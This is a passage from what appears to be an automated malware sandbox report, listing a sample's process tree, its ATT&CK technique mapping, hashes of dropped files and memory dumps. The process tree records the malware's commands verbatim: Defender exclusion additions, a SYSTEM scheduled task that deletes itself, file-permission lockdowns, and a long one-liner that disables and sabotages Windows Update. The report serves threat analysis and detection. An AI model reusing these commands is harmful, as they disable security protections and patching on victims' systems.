    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4660
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\mxzlCk.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5976
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2120
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3744
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3376
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3940
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3260
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2400
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2960
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6104
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3888
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3580
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2396
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1240
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2304
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\29xmbo\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1808
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1500
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:5064
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:5156
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:4916
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\29xmbo\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1436
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\29xmbo\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4616

C:\Users\Public\efVUwz\qQi2wp.exe
"C:\Users\Public\efVUwz\qQi2wp.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4228

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\efVUwz" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3292
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\efVUwz" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3804

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2256

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1316
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4920

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1192

C:\Program Files (x86)\29xmbo\mxzlCk.exe
"C:\Program Files (x86)\29xmbo\mxzlCk.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5896

C:\Program Files (x86)\3wt1Cj288\526oi13.exe
"C:\Program Files (x86)\3wt1Cj288\526oi13.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3728

C:\Program Files (x86)\29xmbo\mxzlCk.exe
"C:\Program Files (x86)\29xmbo\mxzlCk.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3512

C:\Program Files (x86)\3wt1Cj288\526oi13.exe
"C:\Program Files (x86)\3wt1Cj288\526oi13.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2192

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\29xmbo\XPSPLOG.dll
Size 4.6MB
SHA256 10f6987e6e3d7cad431330997426dfca76fcc7223f7bdd688ca28d0d76a570dd
MD5 6908dadd3ff5fb99b791900aef8816d3
SHA1 747dca0e17b69c7365fe0ab85b6df6611e8dffef
SHA512 96fbb2ebd0feb8674fbfa667c650f060ba2c91b30a07ea59bc675da0f3bc7003655fd955634602286d4de2fff7eb0c71de777385319200425710500d151ecc47
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy9:BMWKfU+BcUTHCCCfqCiUffn9
TLSH
T12C263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\29xmbo\image.png
Size 5.0MB
SHA256 f74025b9c14118eb106b300c5b344a579efddbcf27edbc13c6fa6355f30c3ea5
MD5 839abad0b2cee9d22855b2192af3b77b
SHA1 9673f74db04b8e8c729b9c10ec6251fa9f812d1e
SHA512 95dc166063a3c2e57bb2d34507fef01d875475a1ede8600189b2547a41dc96033aaf75e7452dcb5c0925ccdb6ffe4251440533a8b3d9be206fc74ebe2874513e
SSDEEP 98304:cFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:pRIUjDgAk+jkn/IXhVaK
TLSH
T1D63633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mxzlCk.exe

Path C:\Program Files (x86)\29xmbo\mxzlCk.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\29xmbo\thumbs.db
Size 358KB
SHA256 52bbce6a7a229ae66c2a2c0c70bf2d4231816dab177582e937f4ca22d70010d9
MD5 72f0d4a4728016fe31c1d561ce46efed
SHA1 03a6ebb6cd7005924132a460eedd8f982d9750b7
SHA512 a74d05c45f824d72d20c93d47934a887be8fa5b78988a11d712cf01804c3808588d565ffb7f6794d134d86ff237d7e7052333c3bf064b216d600ed05642f8e79
SSDEEP 6144:liACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:M8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T1EB74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\3wt1Cj288\XPSPLOG.dll
Size 4.6MB
SHA256 86da97e7b05808df3e6105b482073d0fefcd4d3cb96fa739ff338a49d8864223
MD5 e20f3c7f2472424d27504aedd7ac9ef7
SHA1 f6bd80a8c933c044d9bc4d14228725f026447818
SHA512 5a11c5bf0585078f2055a7b7c13953cdc556b0f7e1c2ccbdc757908d62283b0f0f8aa9a5f4db25864ae110f445c52d701eb6063c46efef4229415aae1477ad28
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyC:BMWKfU+BcUTHCCCfqCiUffnC
TLSH
T1A3263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\3wt1Cj288\image.png
Size 5.0MB
SHA256 6727bb9eddd32c63eda8cb7e057a89124762807983fc3e1aa0123e9ddb134615
MD5 d260d91dcd313d8b1bd281f571548f6f
SHA1 06a991ba5a56810868f4e71b3515186f73b1f488
SHA512 104fc6eea340a8577f018cfb503aad524043a176c137eb180d4e679e618f341ebde891ac3ef8eeadbb28076037bd73d67cc9e3fc0117686cf50b2123c32f2d7c
SSDEEP 98304:dFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:KRIUjDgAk+jkn/IXhVaK
TLSH
T1823633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\efVUwz\UxEnhance64.dll
Size 3.1MB
SHA256 4e54891a55ee12c4a9b32cbe8e4728ba2ef8375f3228602f0a15aeb3863a4967
MD5 d516ba39a5b7b3dab30341adfe643201
SHA1 bcc3bb851403ea1e886f302f733c19a3c625047b
SHA512 ab29e39d78e19f66cc3e6431f45b3f03e0fd3e605e731cf03b7afed68d9109bc2b8cffb668f5b10479bd8e5b946027c42844abb6a62039cff4e1df65df76aa1c
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB++:P9m29xx3Tiqt06ox6+z2rNNrKo+
TLSH
T124E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\efVUwz\adoresd.dat
Size 4.7MB
SHA256 b61bea6aff035a05e58d81e44b27514f424b512c4bc16abad9d92fb4a56ea4f5
MD5 d826955035b5f70d7439689869f603a2
SHA1 3a4d75302b287a3697de1eb1376a972225f845cd
SHA512 d98c248dece187e042729f09f6ab73ad8d28c9b0a7c18d5b300d4350eb1ca9e93ce77ff6cebdd84e4fbf6dc151b00defacf259c9730ef303d14279d8f4faef23
SSDEEP 98304:rKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:rKClqhi0Cv54K2IVS0VQg
TLSH
T15E3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\efVUwz\msadox.tb
Size 8KB
SHA256 86a3b8060b729c00b8f82ac12487e0058cc5cd877b1efb0d149e7cc01c450124
MD5 3c612849e8fbe01fe26f41f049593262
SHA1 3295a62696869b00d3a844aedc3b26cf34b4983f
SHA512 82e153fb64a53e8d2ccd8d5174e14e5a1d96a2c2cd7e13d1f256cf1fd585eedf5ae04a147fe23317275190d6557059a07d1deaa313a659f46df9758710b4f34f
SSDEEP 192:kqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ksZqZOXQ3uqvR2Kfzp
TLSH
T191029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qQi2wp.exe

Path C:\Users\Public\efVUwz\qQi2wp.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1536-602-0x000001F378BD0000-0x000001F378BF2000-memory.dmp

Download

memory/1536-608-0x000001F378C40000-0x000001F378C4A000-memory.dmp

Download

memory/1536-606-0x000001F378EA0000-0x000001F378F52000-memory.dmp

Download

memory/1536-605-0x000001F378C20000-0x000001F378C3E000-memory.dmp

Download

memory/2192-766-0x0000000000A50000-0x0000000000A51000-memory.dmp

Download

memory/2192-767-0x0000000073BF0000-0x000000007433A000-memory.dmp

Download

memory/2192-771-0x0000000002DD0000-0x00000000035D3000-memory.dmp

Download

memory/2192-778-0x0000000002DD0000-0x00000000035D3000-memory.dmp

Download

memory/2192-777-0x0000000000A70000-0x0000000000A71000-memory.dmp

Download

memory/2192-781-0x0000000000A50000-0x0000000000A51000-memory.dmp

Download

memory/3208-556-0x0000019E323C0000-0x0000019E3240E000-memory.dmp

Download

memory/3208-550-0x0000019E32E10000-0x0000019E33697000-memory.dmp

Download

memory/3208-560-0x0000019E33730000-0x0000019E337BA000-memory.dmp

Download

memory/3208-559-0x0000019E33730000-0x0000019E337BA000-memory.dmp

Download

memory/3208-564-0x0000019E32E10000-0x0000019E33697000-memory.dmp

Download

memory/3208-566-0x0000019E32E10000-0x0000019E33697000-memory.dmp

Download

memory/3208-567-0x0000019E32E10000-0x0000019E33697000-memory.dmp

Download

memory/3208-531-0x00007FFB0B730000-0x00007FFB0BC4E000-memory.dmp

Download

memory/3208-530-0x00007FFB2E3F0000-0x00007FFB2E3F2000-memory.dmp

Download

memory/3208-536-0x0000019E32E10000-0x0000019E33697000-memory.dmp

Download

memory/3208-539-0x0000019E32E10000-0x0000019E33697000-memory.dmp

Download

memory/3208-557-0x0000019E33730000-0x0000019E337BA000-memory.dmp

Download

memory/3208-543-0x0000019E32E10000-0x0000019E33697000-memory.dmp

Download

memory/3208-544-0x0000019E32E10000-0x0000019E33697000-memory.dmp

Download

memory/3208-545-0x0000019E32E10000-0x0000019E33697000-memory.dmp

Download

memory/3208-538-0x00007FFB2E400000-0x00007FFB2E402000-memory.dmp

Download

memory/3208-558-0x0000019E33730000-0x0000019E337BA000-memory.dmp

Download

memory/3208-546-0x0000019E32E10000-0x0000019E33697000-memory.dmp

Download

memory/3288-525-0x00007FFB240F0000-0x00007FFB24102000-memory.dmp

Download

memory/3288-524-0x0000000000870000-0x000000000087E000-memory.dmp

Download

memory/3288-0-0x0000000000870000-0x000000000087E000-memory.dmp

Download

memory/3288-504-0x00007FFB240F0000-0x00007FFB24102000-memory.dmp

Download

memory/3288-1-0x0000000000870000-0x000000000087E000-memory.dmp

Download

memory/3288-2-0x0000000002070000-0x000000000207C000-memory.dmp

Download

memory/3512-764-0x0000000003990000-0x0000000004193000-memory.dmp

Download

memory/3512-760-0x0000000001770000-0x0000000001771000-memory.dmp

Download

memory/3512-776-0x0000000001770000-0x0000000001771000-memory.dmp

Download

memory/3512-772-0x0000000001790000-0x0000000001791000-memory.dmp

Download

memory/3512-761-0x0000000074FC0000-0x000000007570A000-memory.dmp

Download

memory/3512-773-0x0000000003990000-0x0000000004193000-memory.dmp

Download

memory/3728-751-0x0000000001100000-0x0000000001101000-memory.dmp

Download

memory/3728-737-0x00000000010E0000-0x00000000010E1000-memory.dmp

Download

memory/3728-752-0x0000000003570000-0x0000000003D73000-memory.dmp

Download

memory/3728-755-0x00000000010E0000-0x00000000010E1000-memory.dmp

Download

memory/3728-743-0x0000000003570000-0x0000000003D73000-memory.dmp

Download

memory/3728-738-0x0000000073BF0000-0x000000007433A000-memory.dmp

Download

memory/4228-585-0x00000261C0930000-0x00000261C11B7000-memory.dmp

Download

memory/4228-587-0x00007FFB2E3F0000-0x00007FFB2E3F2000-memory.dmp

Download

memory/4228-586-0x00000261C0930000-0x00000261C11B7000-memory.dmp

Download

memory/4228-584-0x00000261C0930000-0x00000261C11B7000-memory.dmp

Download

memory/4228-573-0x00007FFB0B730000-0x00007FFB0BC4E000-memory.dmp

Download

memory/4228-576-0x00000261C0930000-0x00000261C11B7000-memory.dmp

Download

memory/4228-580-0x00000261C0930000-0x00000261C11B7000-memory.dmp

Download

memory/4228-578-0x00007FFB2E400000-0x00007FFB2E402000-memory.dmp

Download

memory/4228-583-0x00000261C0930000-0x00000261C11B7000-memory.dmp

Download

memory/5660-694-0x0000000005290000-0x00000000052A4000-memory.dmp

Download

memory/5660-682-0x0000000000FB0000-0x0000000000FB1000-memory.dmp

Download

memory/5660-749-0x00000000034C0000-0x0000000003CC3000-memory.dmp

Download

memory/5660-675-0x0000000000F80000-0x0000000000F81000-memory.dmp

Download

memory/5660-676-0x0000000074FC0000-0x000000007570A000-memory.dmp

Download

memory/5660-680-0x00000000034C0000-0x0000000003CC3000-memory.dmp

Download

memory/5660-683-0x00000000034C0000-0x0000000003CC3000-memory.dmp

Download

memory/5660-731-0x00000000034C0000-0x0000000003CC3000-memory.dmp

Download

memory/5660-687-0x00000000034C0000-0x0000000003CC3000-memory.dmp

Download

memory/5660-714-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/5660-706-0x00000000034C0000-0x0000000003CC3000-memory.dmp

Download

memory/5896-729-0x0000000000EB0000-0x0000000000EB1000-memory.dmp

Download

memory/5896-730-0x0000000074FC0000-0x000000007570A000-memory.dmp

Download

memory/5896-748-0x0000000000EB0000-0x0000000000EB1000-memory.dmp

Download

memory/5896-735-0x0000000003600000-0x0000000003E03000-memory.dmp

Download

memory/5896-745-0x0000000003600000-0x0000000003E03000-memory.dmp

Download

memory/5896-744-0x00000000029B0000-0x00000000029B1000-memory.dmp

Download